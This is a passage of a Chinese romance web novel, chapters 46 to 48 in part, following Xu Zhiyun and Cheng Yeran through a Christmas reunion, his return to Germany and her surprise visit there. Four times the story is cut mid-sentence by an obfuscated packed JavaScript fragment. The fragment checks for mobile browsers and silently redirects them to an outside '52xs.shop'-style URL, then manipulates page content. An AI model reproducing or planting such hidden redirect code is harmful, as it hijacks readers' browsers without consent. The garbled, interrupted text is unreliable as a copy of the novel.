她们聊了很多,从读书趣事聊到工作,再到今年这阵少见至极的台风。小桑说,家里的窗户吹掉了,后来找了工人补上。花盆也吹走了,但再买就是了。日子嘛,旧的不去新的不来。吃完饭,小桑抢着要结账,许知蕴根本拗不过她,后来下楼时还在包里翻找现金,却被小桑一把按住。 “你必须让我请你。”小桑严肃地说,“不然我们就再也不是朋友了。” 许知蕴还想企图通过微信来曲线救国,都被小桑否决了。他们下楼,看见外边的灯光,灿烂得如同烟火。平安夜的氛围笼罩着每一个人,而明天就是圣诞节。她们置身于氛围之中,并不觉得寂寞。 只是仍然要面临分别的时刻。 虽然仅仅只有一面之缘,但小桑已经把许知蕴当做自己的朋友了。她想着,明年这个时候,她就不在国内了,或许也很少能和许知蕴再说上什么话。她由衷羡慕许知蕴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286255|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所拥有的东西,但也只是羡慕,而不嫉妒。她坚信自己能够通过自己的手段,过上想要的生活——她当然要借助梁丰,但梁丰同样也在借助她。而到最后,她真正能够借助的,也只有自己。 她忽然感到一阵巨大的失落感,和对未来的迷茫。明年的生活会是怎样的?在美国度过的每一天会是怎样的?一下子无法细想。 许知蕴看她神色有些不对,便问她:“你怎么啦?” 小桑低下头。她闷闷地说:“我……” “——在命运的墙角底下,我真的会遇见那个人吗?虽然这么说,显得太恋爱脑了,但——”她闭了闭眼睛,“我真的很想见到他,然后和他在一起。我知道,人生不是非得要爱情不可,只是我觉得这对我很重要,我……” 我想拥有自己的爱情。 许知蕴静静地看着她。“你想听我的答案吗?”她问。 “嗯。” “那么,我的答案是——”许知蕴笑了笑,很坚定地说,“你会的。” “我不觉得渴望爱情有什么不对。爱情只是各式各样的欲望之一,而人总得要有欲望的。” “有人曾经跟我说过,他觉得爱情像一扇门。好吧,我其实有别的想法,我倒觉得爱情更像一艘船。但无论像什么,你总是能等到那个开门或者开船的人的。所以,你会的。” 平安夜的晚上,灯光简直称得上温柔。 小桑深吸一口气,而后抬起头来,撇嘴小声说:“……我比较赞同你的看法。我觉得爱情就像船呢。” 许知蕴笑出声来,“你也这么觉得吧!” “……嗯。” 小桑顿了顿,忽然真正地笑了笑。这一笑让她不像个结了婚的女子,而带了点小姑娘的傻气。许知蕴忽然有种错觉,当初刚见面时,她总觉得小桑手指间要夹一只香烟才对。但那样的印象在她笑起来的一瞬间,消失不见了。 小桑说:“谢谢你。还有——” 本城一直有着平安夜和圣诞夜连续两天放烟花的传统。而此时,烟花正好在空中绽放了。她们两个朋友,一起肩并肩看着烟花在空中盛开。彩色的,炫目的,一朵又一朵。 “——祝你永远快乐。” * 许知蕴搭地铁回到了家。 她洗漱完,然后把自己扔在沙发上,随手打开了电视。她回来的路上,一直在想小桑的事。想得多了,她又觉得,应该相信小桑才对。说起来,小桑还比她小两岁呢——但她很佩服小桑内心的勇气。不是每个人都足够强大到能够承担这些的。 她一瞬间觉得思绪很乱,于是只好抛开它,去看窗外的景色。她现在不在程烨然家了,当然也就看不到落地窗那头的风景,然而自家的风景也并不差,她从窗口望去,看见一轮莹莹的好月亮,挂在枝头。最近几天不下雨,天气晴好,晚上也看不到几朵云。风沙沙地吹着树叶,她想,不知道远处的海会是什么样的景色。更遥远的海呢? 她想着,忽然接到一个电话。那是程烨然打来的,问她现在在哪里?许知蕴说,在家啊。随后她听见一声“好”,伴随着细微的喘息声,电话挂断了。 她一瞬间愣在原地。 过了几分钟——真是长久的几分钟啊,许知蕴简直觉得过了一个世纪。她的内心有一个巨大的猜想,但她不肯反打电话过去证实它。万一呢,万一呢?人生中有很多个万一。 可很快,她听见了一阵急匆匆的脚步声。 她无端的知道,这脚步声是属于自己的。 就像台风天的那个晚上,一串湿淋淋的脚印,把月亮踩碎了又拼凑起来。 那人在门口站住了,随后…… ——门铃响了。 46. 第四十六章 许知蕴打开了门。 她看见程烨然就站在那里。 她留心打量他;好像比视频里看到的要消瘦了一些。手边没有行李箱,只背了一个看起来沉甸甸的背包。他的睫毛上挂着寒冷的雾,走廊的灯光亮堂堂的,照得他的眼睛也闪着光。 他似乎是跑着过来的。从电梯口跑过来,穿过这段狭长的走廊。 她看见他笑了,随后用那个极为怀念的声音说: “我回来了。” 许知蕴仿佛被这一句话定在了原地。 见她不说话,程烨然又笑了。他笑得很轻微,但是一笑起来,身周无形的寒气就扑簌扑簌地掉落了。就像月色如雪,从树枝上滑下来。 “确定不邀请我进去吗?” 他情不自禁地伸出手,想要去捧许知蕴的脸。但在即将触碰上的刹那,他忽然想起,自己的手是冷的,于是又慢慢地把手放下了。这时,许知蕴忽然抖了抖,像是从一场光线昏暗的梦里惊醒了。真实世界的一切都涌上来。 她感觉自己的血液轰然作响,在程烨然撤回手的一瞬,猛地使出巨大的力气,一把捉住他的手,两个人几乎是一起跌进了门内。 关门,先是拥抱,然后是亲吻。从门口,到客厅的沙发上。许知蕴感受到他手上的奇妙。冷冷的,带着外界的寒风,然而很快被体温融化了。很轻柔很绵长的吻,他们两个人都有点喘不上气,但谁也不想把谁放开。 她抓住程烨然大衣的翻领,伸手去碰碰他的脸,从他的眼眸中看见了自己。小小的、扭曲的、穿着白色厚睡衣的自己。她想,自己的眼睛里一定也倒映出了他。只是他一身黑色的衣服,想必是看得不清楚了。 她把手指放到程烨然的头发里,轻轻摩挲着。 她感到自己的发抖好像平息了,不由得笑了笑。 “——欢迎回来。” 许知蕴终于快乐地说。 * 程烨然洗漱完,和她一起躺在床上。 久违的安心感。 “还是国内舒服啊。”他感叹道。 许知蕴故意开他玩笑:“在德国,你和房东太太两个人住那么大的公寓,一个人占据那么大的房间,理应比现在更滋润才对。” “这可不一样。”他的语调沉了一些,拨弄着她的手指,仿佛要将它翻来覆去成百上千遍,“就像——月亮很美,但如果没有人和我一起看,就只是一个普普通通的晚上而已。” “真的?可我也不信没人和你看月亮。” 程烨然眯了眯眼睛:“你存心的,对不对?” 而他虽然这么说着,却并没有生气。“在德国,哪里会有人同我看月亮呢。况且……” 许知蕴留心等待她的下文,却没想到他举过她的手,在指关节处轻轻吻了吻,“——况且就算有人同我看,那人也不是你。我想要你。” 许知蕴的脸一下子红了。她没有把手拿开,而是任由自己的手与程烨然的手接触着。她问他进修途中的事,程烨然一点一点给她说。许久未见的导师、陌生的同事、面貌改换极大的街区……他说,从前读书时常来这个街区,没有现在这么热闹。 他没说自己一时适应不了时差,没说来自欧洲国家的歧视,而是尽量挑轻松愉快的同她讲。许知蕴刚开始听得很精神,甚至在听到相同的地方时,打定主意也要把自己相似的经历说出来。但听着听着,她也有些困了。眼皮子闭起来,朦朦胧胧的,再也不想睁开。 程烨然见她睡了,声音也逐渐低下去,最后归为静止。 他微微起身,把被角给她掖好。他几乎坐了十个小时的飞机,又打车回来,也困了。 外边仍然是很好的月亮,光影的边缘在玻璃下竟然泛着点彩色。 正当他要睡着的时候,忽然听见一阵小声的梦话。 低声地嘟哝着,每一个字都模模糊糊的。程烨然有些好笑地竖起耳朵,却发现什么也听不懂。这家伙在说些什么呢? 但过了一会儿,他忽然很清晰地听见自己的名字。 说梦话的主人在叫他:程烨然,程烨然。仅仅有名字听得清楚,但名字后边的内容,他一点也听不明白。 程烨然静静地看着她的睡颜。末了,在漆黑的夜空中,他轻轻笑了一声,俯身在她耳朵边上,以同样声调小声说: “快睡吧。” “……DubistdasBeste,wasmirjepassiertist.” * 程烨然的假期到1月3号。 他们度过了在一起后的第一个圣诞和新年。 平安夜的烟花,程烨然没能赶上。但圣诞夜的,他总算能赶上了。 他们吃完饭,在江边漫步着,看在天边灿烂绽放的烟花。许知蕴趁程烨然不注意,跳起来给他头上戴了个什么东西。由于速度太快,戴得歪歪扭扭的。程烨然好笑地伸手出来想把帽子摘下来,许知蕴立马道:“不许摘。” 程烨然只好将帽子扶正了。 他问:“你给我戴的什么式样的帽子?” 许知蕴坏笑着,没有回答他,只是说:“我不会捉弄你的,放心好了。” 烟花也就短短十五分钟。看完烟花,他们从江边撤离,来到步行街上。由于今天是节日的关系,步行街上的人特别多,平日里负责疏散交通的警察数量翻了一倍。他们不得不拉起手来,时不时望望彼此的身影,以防一个转身,就和人走散了。他们路过一扇扇流光溢彩的橱窗,橱窗里的商品琳琅满目,路过某一家店时,摆在最外边除了各式各样的包包,还有一条珍珠白的围巾。 程烨然从橱窗的倒影里勉强辨认出自己头上戴的是什么——是一个经典红白配色的圣诞帽。 而许知蕴则停下了脚步,看着围巾感叹道:“真好看。” 程烨然说:“那我们就把它买下来。” 他们就这样走进店。许知蕴不是个买东西挑剔的人,看中什么东西,更多的是凭感觉,挑中了那一条围巾,那最终就是那条围巾了。店员很熟练地帮她把围巾包好,而程烨然只是在后面,自然而然地付了款。 一走出店门,许知蕴就迫不及待地把围巾围上了。 “真暖和。”她笑笑说,“还有……谢谢你。” 她眨了眨眼睛,“我总得给你买点什么当礼物吧。这一条街这么长,你挑一挑?” 程烨然不置可否,只是指了指头上的帽子,含笑道:“我有这个就够了。” “那怎么行?这个帽子太一般了。” “谁说它一般了?你送我的,我觉得好看得紧。” 许知蕴没忍住,扑哧一声笑出来。 “你啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295291|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她既然能够让程烨然戴上这顶帽子,当然也有办法让他收下别的东西。她拉着程烨然进了一家首饰店,给他挑了一条当季新款的项链。项链上的欧泊闪着细碎的光,如同深沉的宇宙。许知蕴拿着项链在他胸口处比对。 “嗯。”她审视来审视去,最后满意地点点头,“很合适你。” 她以迅雷不及掩耳之势将项链买了下来,紧接着这条美丽的欧泊石项链就被挂到了程烨然的脖颈上。 许知蕴走出店门,感叹道:“果然是买东西使人心满意足啊。” 程烨然看着她,无可奈何地摇摇头。 他伸出手,时不时地摸索着挂在胸口的那颗宝石。隔着衣服,明明应该是冰冷的,但在指尖的温度却格外滚烫。 不知道行进到那一处,他们离开了人声鼎沸的主街,来到了旁边一条较为僻静的街道。这里很安静,开着许多虚掩着门的清吧。里边的男女低声交谈着,时不时喝一杯酒。许知蕴看到酒吧,不由得想起他们第一次见面的时候。 “程烨然。”她戳戳他,“你还记得我们第一次见面吗?” “当然记得。” “那你还记得我当时喝的什么酒吗?” 程烨然思索了一下,很快答道:“看颜色,应该是大都会。” “答对了!”许知蕴笑道,“我记得,你喝的是自由古巴,对不对?” 程烨然忍不住摸了摸她的头,“嗯。” 在第一次见面时,谁也没有想到,日后会每一天都想要见到彼此的面孔。 他们沿着街道,漫无目的地走,最后来到一盏高高的路灯下。周围的喧嚣都如潮水般退去,他们的脚步不约而同地停下来。许知蕴的目光落在他胸口前的项链上。在夜色下,宝石的光芒,就像他的眼睛。许知蕴没有告诉他,这宝石是根据他的眼睛选的。她的目光落到别处,却在那瞬间听见了由主街那边传来的一阵阵欢快的呼声: “——下雪了!” 啊,下雪了。 她抬起头,伴随着圣诞颂歌和巨大的气球,雪花一片一片地飘下来。 今年本城终于下雪了。她又想起小时候在雪中看到的电视塔。高大的,发着彩色的光。她抬头向不远处望去,隔着一条江,她远远地看见了那座电视塔。从前的记忆与现在重合起来,她不禁喃喃道:“总算下雪了……” “这么喜欢雪么?” 程烨然伸手,替她拂走肩膀上的一小片雪花。 “嗯。你也知道吧,我们这里,实在太少下雪了。何况……”她慢慢说,“不知为什么,我总觉得,如果这里也下雪了,那么经历了这场雪的我,或许会离你更近……” 德国那边的冬天,肯定会下雪的。 后续的话她没说,但程烨然已经明白了。他沉默了几秒,忽然弯下腰来,吻在她的眼睫,随后一路流连到她的嘴唇。 天气很冷,雪子一点点落下来,许知蕴却不合时宜地想起某种火红色的花。或许是自然界中真实存在的花,或许是烟花也说不定。那样的花盛开在周围,从心脏开始,一路沿着血液奔流而上,冲到她的脸颊。 主干道上又传来欢呼声,似乎是谁在表演。在那阵欢呼声之下,她听见程烨然说: “……愿圣诞的烛光带给你祥和与喜悦。” “赐你无尽的爱恋和祝福。” 47. 第四十七章 随着12月的最后一天过去,新的一年也来到了。 日历被翻到了一个崭新又陌生的数字。 许知蕴本来打算出门跨年,但看见新闻里堪称恐怖的人流量,又把迈出门的脚收了回去。他们只是在家里吃了一顿自己做的饭,随后脚踩着暖炉,盖着毛茸茸的毯子,一边吃零食一边看中央台的元旦晚会。晚会这么多年来,早就看腻了。两个人看到最后,都止不住地犯困,最后索性头靠头,一起睡了过去。 第二天,许知蕴是在床上醒来的。被子盖得厚实,她反射性地向旁边伸手——这次她碰到了程烨然。她费劲地拿起手机,眯起眼睛看了看,发现现在已经是早上十点,而平日里习惯早起的程烨然睡得正香。 她放下手机,侧过头去看他。闭着眼睛,几乎要把整个脸都埋在棉被里。许知蕴坏心眼地把他稍微扒拉出来,他皱了皱眉,又自顾自地缩了回去。 真是少见啊。 许知蕴轻手轻脚地想要下床,脚还没找到拖鞋,手就被程烨然一把拽住。她还疑心是不是因为起床把被子掀开,冷空气钻进去的缘故,刚想帮他把被子盖好,就猝不及防地对上了一双眼睛。 准确来说,是一双还没睡醒的眼睛。 程烨然的声音懒洋洋的,很困:“……你不多睡一会吗……” 许知蕴笑了笑:“我去做早饭啊。” “早得很……” 许知蕴把他的手轻轻扯开:“程烨然同志,已经十点了。” 听到这个数字,程烨然像是突然清醒了,一下子翻身坐起来。头发乱糟糟的,左一撇右一搭。许知蕴觉得好笑,伸手过去,帮他把头发捋顺了。 今天的早饭是许知蕴做的。她非常强势地占用了厨房。 前些天出门采购时买的材料总算配上用场。许知蕴将锅里的水烧开,加入汤圆,随后慢慢地倒入早已打散好的蛋液,搅开,最后在锅里咕嘟咕嘟冒泡的时候,放酒酿、一勺红糖、枸杞和少许的桂花酱。 酒香和桂花香在厨房里弥漫开来。 许知蕴给自己舀了一勺,尝了尝——嗯,甜度刚刚好。她将一大锅都端了出去,放在桌上。热腾腾的,使人感觉冬天也没那么寒冷了。 “新年还是吃汤圆最好啊。”许知蕴轻轻咬开汤圆。她和程烨然都喜欢吃芝麻馅的,因此买的也是芝麻馅的汤圆。 甜丝丝的,混合着酒的香甜。 “过农历新年呢?”程烨然好奇道,“你们家吃什么?” “当然是年糕了。”许知蕴说,“年糕拿来煮汤,放点青菜和鸡蛋,撒点胡椒粉。很清淡,但不知怎么,吃起来特别香。” 他们开始聊起过年时的事情。农历的新年:灯笼、春联、鞭炮……聊着聊着,许知蕴忽然意识到现在已经是1月1号了。她脑海中的日历忽然浮现出来,在某个地方画下了一道沉默的线。黑色的,如此鲜明。 许知蕴状似轻松地问:“程烨然,你3号是不是就要回去啦?” 程烨然的身形一瞬间顿了顿。他几乎是叹息着应了一声:“我……3号当天早上八点的飞机。” “然后呢?” “那天没有直达的航班,所以我得先坐到慕尼黑,然后坐火车回海德堡。” 许知蕴喝了一口汤:“那应该要……很久吧。” “嗯。” 她深吸一口气:“那——你春节的时候,还会回来吗?” 程烨然说,原则上是不放假的,但他是中国人,向导师申请,或许能有几天假期——只是到底能放几天,他也说不准。 许知蕴笑了笑。她当然知道这些,但还是止不住地想问。就好像期待着,只要自己问了,就能收获一个不一样的答案。 只是再怎么问,或许答案都是固定的。 她的思绪飘忽在空中,正在走神,头顶忽然感受到一片温热。那是程烨然的手掌,温和地抚过她的不安。她听见他低声说,我会找时间回来的,要是实在回不来,我一定提前给你打电话。许知蕴笑说,你就算不回来,我也才不会想你呢。程烨然逗她,说,你真的不会想我吗?许知蕴同志,你可得说真话哦。 在那瞬间,她忽然短暂地愣了一下。 如同海浪冲击礁石,她所有的情绪都涌了上来。 她伸出双手,示意程烨然过来。他起身过去,她就轻轻地将头靠在他的胸口旁。她感受到他有些急促的心跳,还有他的体温。 许知蕴慢慢地说:“现在,我是不会想你的。你就算打电话过来,跟你通电话的我,也是不会想你的。但……吃饭的时候,我会想,要是某个人和我一起吃就好了,刚好和我一起吃这道难吃的菜;睡觉的时候,有个人和我一起分被子就好了;一人份的饮料没有家庭装的划算,有个人和我一起喝就好了……每当这种时候,我才会想起你来。你说——” “你说,我这是算想你,还是算不想你呢?” 回应她的先是短暂的沉默,然后是一阵细细密密的笑声。 她靠在他胸口上,能感受到他笑时胸腔的震动感。心跳似乎更急促了。他没有说话,她也没有,他们静静地靠在一起。这是一个拥抱的姿势,程烨然的头搭在许知蕴的肩膀上,因此许知蕴也就看不见,在他笑着的时候,有那么一滴几乎看不见的眼泪,从他的脸颊上滚落下来。 * 程烨然离开前的最后一个晚上,他们躺在床上,漫无目的地聊天。 2号的白天,他们去了博物馆。馆内有新的展览,是埃及运过来的文物。许知蕴租了VR眼镜,兴致勃勃地给玻璃窗里的文物们拍照,并扬言,自己一定不会放弃去埃及看真正的金字塔的。她还要看最震撼的木乃伊。走走停停四个小时,两个人都累得不得了,在馆里买了几个面包,两杯热咖啡,坐着一张张欣赏手机里的照片。 翻阅的时候,手机里突然出现好几张模糊的鬼影——原来是拿在手上的时候误触了。但许知蕴舍不得删掉,因为这些误触的照片,都倒着拍到了几个程烨然的脸,把他的脸型扭曲了,五官乱飞,不成样子。程烨然说:“要不还是删掉吧。多不好看。” 许知蕴逗他:“你有偶像包袱呀?” “没有是没有,但——” 许知蕴笑盈盈地盯着他。 程烨然最终还是说:“好吧,还是有一点……” 许知蕴眯起眼睛笑起来。程烨然好笑地拉过她的手,耸了耸肩:“不过,不删也没关系的。” “——我很乐意留在你的手机里当纪念。” 逛完博物馆,他们开车回家。路上又下雨了,前面的道路堵得水泄不通。打开车载,许知蕴随便挑了几首音乐来播放。动感的、舒缓的、英文的、中文的……一连不知道放了多少首,前边堵车的盛况终于缓解。播到一首公路歌曲时,伴随着萨克斯,他们的车子终于启动。雨刷不断在车窗前摆动,红色的车灯一会清晰,一会模糊地晕染成一团。许知蕴无端希望这段回家的时光能够再久一点——因为一旦回到家,这一天就差不多结束了。 而她不想那么快结束。如果可以,她希望永远地持续下去。 可路都是有尽头的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305030|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他们回到了家。夜幕早已经降临。 许知蕴躺在床上,想起路上见到过的人们。撑着各式各样的伞,雨水顺着伞骨的痕迹滑落下来。整个世界都在雨天中陷入了灰蒙蒙的纱罩。 她忽然翻过身,去亲吻他的脸,他的嘴唇。他也回应起来,似乎两个人都不希望这个夜晚仅仅只在聊天后便结束。吻得久了,他们短暂分开,许知蕴微微喘着气,而她的眼睛亮亮的。她把手放在程烨然的睡衣领子上,作势要解开他的扣子。程烨然抓住她的手,用眼神无声地询问她,在做什么。 许知蕴小声地问:“要继续吗。” 虽然是问句,但她的语气很肯定。程烨然忽然愣住了。他的目光在许知蕴的脸上停留着,似乎要仔仔细细地观察她的神情。 他的语气很复杂。在那复杂之中,似乎又有更深沉的情绪:“知蕴……你确定吗?” 许知蕴说:“我确定。我们继续吧。” “我——” 他本来想说,我明天就要走了。他想说,他有很大的信心来经营好这一段关系,但……他有患得患失的私心。他能成为她的最后一个吗?他是她的良配吗?他知道什么事都可能发生,他害怕最终失去她,因此不敢占有她。他想了那么多,最后说出来的却词不达意,寥寥无几。语言系统像被堵塞住了,生锈的水管,吱呀作响。 许知蕴只是微微笑着,听他说话。她想,程烨然很少有这样结巴的时候。她却爱看他结巴的样子。 等他断断续续说完,迎接他的是许知蕴不安分的手。她认真地解开了他领口的扣子。 “我知道,我知道……但我仍然希望你继续。你要是不继续,我就要不高兴了。” 程烨然的声音很哑:“你……确定吗?” “嗯,我确定。” “你现在还可以后悔。” “程烨然,我为什么要后悔?” 她解开了程烨然的第二颗纽扣。 许知蕴看着他,忽然笑了出来:“你知道吗,在日本,胸前的第二颗纽扣很重要,因为这是离心脏最近的一颗纽扣。” …… 程烨然的动作很温柔。 许知蕴一向认为,该快乐的时候,就得快乐才对。她闭上眼睛,感受着一阵一阵的浪潮涌来。外边是风的声音,是下雨的声音,她的内心深处则发出欢愉的声音,从她的心脏出发,在她的唇齿间满溢而出。 在那个瞬间,她恍惚自己看到了一个尖尖的屋顶。里边有人敲一口低沉的钟,回音朗朗,缱绻悠长——末了她终于在喘息中发觉,那其实是两个人的心跳声。 合二为一,就像原本就是一个人。 * 第二天早上她醒来,已经很晚了。 身侧的枕头冰凉——他一定早走了。那么早的飞机,他当然起得很早。 许知蕴翻身下床,像往常无数的早上一样,穿棉衣、洗漱、到厨房里拿程烨然给她准备好的早餐。暖融融的豆浆和吐司煎蛋,上边依旧放了她喜欢的青瓜味沙拉酱。她听着英文播客吃早餐,随后来到书房,进行一天的工作。她要把编辑发来的内容再次删改,提交,然后—— 等等。 放东西的那个人肯定知道她的小习惯,将东西放在了她平日里最喜欢堆各式各样草稿的地方。 即使他稍微做了些隐藏的小把戏,但还是瞒不过她的眼睛。 那是“日常”中的“不日常”。 许知蕴走过去。 ——她看见了那个墨绿色的信封,静静地躺在那里。 48. 第四十八章 Ich 日子过得飞快。 许知蕴现在想想,都惊异于时间真的如流水一般,掬起一捧,很快就从指尖流走了,一点一滴都不剩。 她仍然会想起那段日子——年三十的晚上,她一边看电视守岁,一边和程烨然打电话。他此刻也在看中央台的转播,正播到小品的部分,演员抖了一个包袱,他们就齐齐笑起来。到了后来开始倒数的时候,尽管她知道,程烨然那边当然没有到晚上——但他还是很认真地同她一起倒计时:十、九、八、七…… 倒数第三秒、倒数第二秒、最后一秒—— 窗外的夜空迸发出盛大的烟花。在轰隆隆的声音中,她听见程烨然在电话那头对她说: “知蕴,新年快乐!” 隔着透明的电话线,他的声音从大洋彼岸传过来。 视频里他的脸模糊了,但声音却很清晰。 第二天,她就踏上了去德国的航班。许父许母对她的决定简直就是大力支持。许母问她:“要在那里玩多久呢?” 许知蕴说:“我……我还没买回程的机票呢。” 她坐了很久的飞机,拿了本书看,最后实在看不动了,就昏昏沉沉地睡过去。等到广播响起,她才猛然惊醒。跟随人流下了飞机,耳朵里弥漫着听不懂的陌生语言。她在转盘处取了行李,就这样慢慢地走出了机场。 很冷。她打了一个喷嚏。幸好来的时候带了足够的衣服,身上这件羽绒服因为实在太厚,几乎没怎么穿过,变成了压箱底的款式。她没急着去海德堡,而是优哉游哉地将慕尼黑逛了个遍。她在玛利亚广场逗留了一会,随后去到老彼得教堂——爬上去太高了,提着行李,只好放弃。要不是时间不够,她还想多多参观几个博物馆。 她搭上火车,前往最终的目的地。程烨然居住的公寓就在大学附近,很快就能找到。这时暮色降临,晚霞很美,她忍不住拿出手机拍了张照——一只鸟儿从镜头前飞过了。由于飞得太快,她辨认不出它的品种。最后她走到公寓的台阶门口,却不知道能不能进去。她想,自己既然是要准备一个惊喜,那究竟要不要给他打电话呢? 就在她有些为难的时候,房门被打开了。她一眼就认出那是他提过多次的一个房东太太。满头银发,性格和蔼。许知蕴都准备打开手机里提前下载好的翻译器了,却听见老太太的口中蹦出略微生涩但能听得懂的英语:“请问你是……” 许知蕴刚要解释,却看见房东太太笑起来:“我知道,我知道你是谁!” 她把许知蕴拉进来,走进温暖的室内,替她准备好了毛茸茸的拖鞋,帮她将外头的羽绒服脱下来,挂在衣帽架上。“你是程的女朋友,我知道你……他给我看过你的照片。” 许知蕴磕磕巴巴道:“这、这样……” 房东太太请她坐下,说请她喝东西。许知蕴连忙从沙发上坐起来,说要去帮忙。房东太太给她一个手势,让她安心坐下:“亲爱的,从中国跑过来一定很累,稍微休息一会吧。” 不多时,两杯热巧克力就被端出来。许知蕴双手捧着杯子,暖融融的,感觉自己也和巧克力一样被融化掉了。 “程知道你要来吗?”房东太太问。 许知蕴摇摇头:“不,他不知道。我是瞒着他来的。” “年轻真好呀。”房东太太笑道,“年轻时我也做过一样的事,不过我不像你一样勇敢。我去的地方不远,只是阿姆斯特丹。那个时候也不是冬天,而是夏天——好喝吗?我不确定你的口味。我听说东方人不嗜甜,所以没有放很多糖。” 许知蕴赶紧道:“好喝的,味道也很好。谢谢您了。” “真好。程或许还要一段时间才回来。方便的话,你可以同我讲讲中国的事情吗?什么都行。” “当然可以!今天是我们农历新年的第一天……” 不知过了多久,她们聊着,忽然听见脚步声和“咔哒”一声,钥匙拧开门锁的声音。程烨然穿着一身黑色的羽绒服,戴着厚实的毛线帽,抬腿迈进来,手里还拿着手机——贴在耳边,正与什么人打电话。他看见客厅里房东太太的身影,习惯性地问好,目光却在触及沙发的一刻怔住了—— 他的手机差点掉在地上。 还是程烨然足够眼疾手快,一手抄了起来,手机才避免被摔坏的命运。 “我……”他不可置信地揉了揉眼睛,“我……你……” 许知蕴则朝他挥挥手,笑着说: “晚上好呀,帅哥。” * 许知蕴在德国度过了短暂却快乐的几天。 程烨然没空的时候,她就自得其乐地在各个城市的景点里乱晃。有时她在某天特别想看某两个景点,但它们并不在一个城市,许知蕴就会起一个大早,乘火车在一天之内将两个地方都跑遍。程烨然终于请到了假期,他们就跑到柏林,甚至跑到法兰克福,搭一趟去巴黎的火车,短暂地在法国待上半天。 他们也终于去到了科隆。这段时间德国不下雪,天气晴朗,天空泛着冷冷的湛蓝,大教堂的尖顶高耸,她跟着程烨然一起爬上了最顶端。其实科隆只是一座很小的城市,若是没有这座教堂,它未必会这么出名。许知蕴快乐地踩着台阶走下来,他们出了教堂的门,看见一堆人围在不远处,像是在拍电影。许知蕴偷偷指着里边被众星拱月的演员问程烨然:“你认识他们吗?很出名吗?” 程烨然笑着摇摇头:“我也不认识啊。” 她终于能够窥见他当时镜头里景色的延伸。 她指着一处,问:“那就是霍亨索伦桥吗?” “嗯。” 许知蕴说:“我们走吧。我要从这座桥上走过去。” 但她虽然这么说着,却没有立刻踏上桥面。她跟着一群男男女女一起,来到了一家锁店。他们挑选了一把锁,在锁上再次刻下了他们名字的缩写。 [XZY&CYR] 排队刻字也花了不少功夫。拿到锁,许知蕴拉过程烨然的手,他们找了一个地方,一并蹲下来,将锁牢固地挂在栏杆上。做完这一切,她站起身来,松了一口气。 “程烨然。”往回走的时候她说,“你给房东太太看过我的照片?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315082|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……嗯。”他有些不好意思地笑笑,“那一次,我不小心把钱包掉地上了,然后——” 许知蕴懂了。 “你把我的照片放钱包里啦?” 程烨然的耳朵久违地红了起来。他把头偏过去,许知蕴却偏不让他如意。她伸出手,将他的脑袋温柔地扳过来。她直视着他的眼睛:“我之前……听你说的时候,我就去查了一下。霍亨索伦桥,是个什么地方?后来我明白了——” 她慢慢道:“人们相信,在桥上挂一个锁,然后把钥匙丢进河里,爱情就会天长地久。我查完资料后就在想,你一个人站在这里的时候……” “你一个人站在这里的时候,会感到寂寞吗?这里可是著名的情人桥啊。” 程烨然握住她放在自己脸上的手。 “我不会寂寞的。”他说,“在那个时候,你在同我打电话——我当然不寂寞了。” 因为耳边有你的声音,因此我不会感到孤单。 他没有说自己已经偷偷在这里挂了一把锁——听起来也太幼稚,太傻了。他看见许知蕴的脸上掠过复杂的神色,她想说什么,但最终什么也没说。她的拳头攥得很紧,程烨然温柔地将她的手包裹住了,随后他们一起朝空中扬起手来—— 沐浴着阳光的银色小钥匙,就这样在空中划出了一个完美的抛物线。 “好啦。” 许知蕴笑起来。 ——其实早在我查完资料的时候,就想这么做了。 …… 许知蕴回去的那一天,程烨然送她到了机场。她的行李箱里多了很多东西,都是从德国带回去的特产和手工小玩意。她朝空中呵了一口热气,很快就消散了。这是她在冬日最乐此不疲的把戏。 程烨然说,谢谢你能来陪我。 他伸手替她整理额前的碎发,裹紧围巾。许知蕴安静地任由他动作。她想,好像之前在机场里送程烨然走,也只是几天前的事情。 